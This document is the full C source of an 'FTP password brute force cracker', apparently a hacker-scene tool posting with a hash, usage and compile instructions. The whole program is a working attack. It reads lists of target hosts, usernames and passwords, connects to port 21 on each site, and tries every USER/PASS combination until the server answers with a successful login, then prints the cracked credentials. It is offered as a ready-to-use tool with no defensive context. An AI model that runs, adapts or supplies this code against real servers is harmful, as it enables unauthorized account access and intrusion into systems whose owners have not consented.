Simple FTP password brute force cracker.
b9af2882fd7e019abaaaf9364d8200c1360309203051ee1d723ab371673fe7a3
/*----------------start H3Re----------------*/
/*
THIS is A simple FTP password Brute Forcer
Usage ./ftpcracker.c <site_list> <user_list> <password_list>
compile gcc ftpcracker.c -o ftpcracker
coded BY x1ng <x_1n@hotmail.com
Gretzz to:<NULL>
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
int main(int argc,char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int sok;
FILE *input;
FILE *output;
FILE *usrlist;
FILE *passlist;
char buffer[1024];
char site[100];
char user[100];
char pass[100];
char suser[100];
char spass[100];
if (argc !=4)
{
system("clear");
printf(" Ftp PassWord Brute Forcer BY <x1ng> \n");
printf("\n x_1n@hotmail.com\n ");
printf("\nusage: %s <sites_list> <user_list> <pass_list> \n",argv[0]);
exit(0);
}
input=fopen(argv[1],"r");
if(input==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[1]);
exit(0);
}
usrlist=fopen(argv[2],"r");
if(usrlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[2]);
exit(0);
}
passlist=fopen(argv[3],"r");
if(passlist==NULL)
{
printf("\nBe Sure That <%s> exist:No Such File\n\n",argv[3]);
exit(0);
}
success:
while(!feof(input))
{
printf("\n++++++++++++++++++++++++++++++\n");
fscanf(input,"%s",site);
printf("%s",site);
printf("\n++++++++++++++++++++++++++++++\n");
if ((hp=gethostbyname(site))==NULL)
{
printf("\nCan't Resolve HostName\n");
goto success;
}
if((sok=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Error Opeining Socket\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons (21);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);
if(connect(sok, (struct sockaddr *) &server, sizeof (struct sockaddr)) ==
-1)
{
printf ("Connection refused\n");
goto success;
}
while(!feof(usrlist))
{
fscanf(usrlist,"%s",user);
printf("%s",user);
printf("\n");
sprintf (suser, "user %s\r\n",user);
passlist=fopen(argv[3],"r");
signal (13, SIG_IGN);
while(!feof(passlist))
{
fscanf(passlist,"%s",pass);
printf("Now Trying user:%s pass:%s for <%s>\n",user,pass,site);
sprintf (spass, "pass %s\r\n",pass);
send (sok,suser,strlen(suser), 0);
//sleep(1);
send (sok,spass,strlen(spass), 0);
sleep(1);
recv(sok,buffer, sizeof(buffer),0);
if (strstr(buffer,"230")!=NULL)
{
system("clear");
printf("============================================================================");
printf("\ncorrect <Co0o0l> username:%s password:%s for
<%s>\n",user,pass,site);
printf("============================================================================");
fclose(usrlist);
usrlist=fopen(argv[2],"r");
fclose(passlist);
passlist=fopen(argv[3],"r");
close(sok);
goto success;
}
else
printf("incorrect password\n");
}
}
}
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");
printf("\n I Am F1n35hed Cr4ck1ng
+\n");
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
exit(0);
}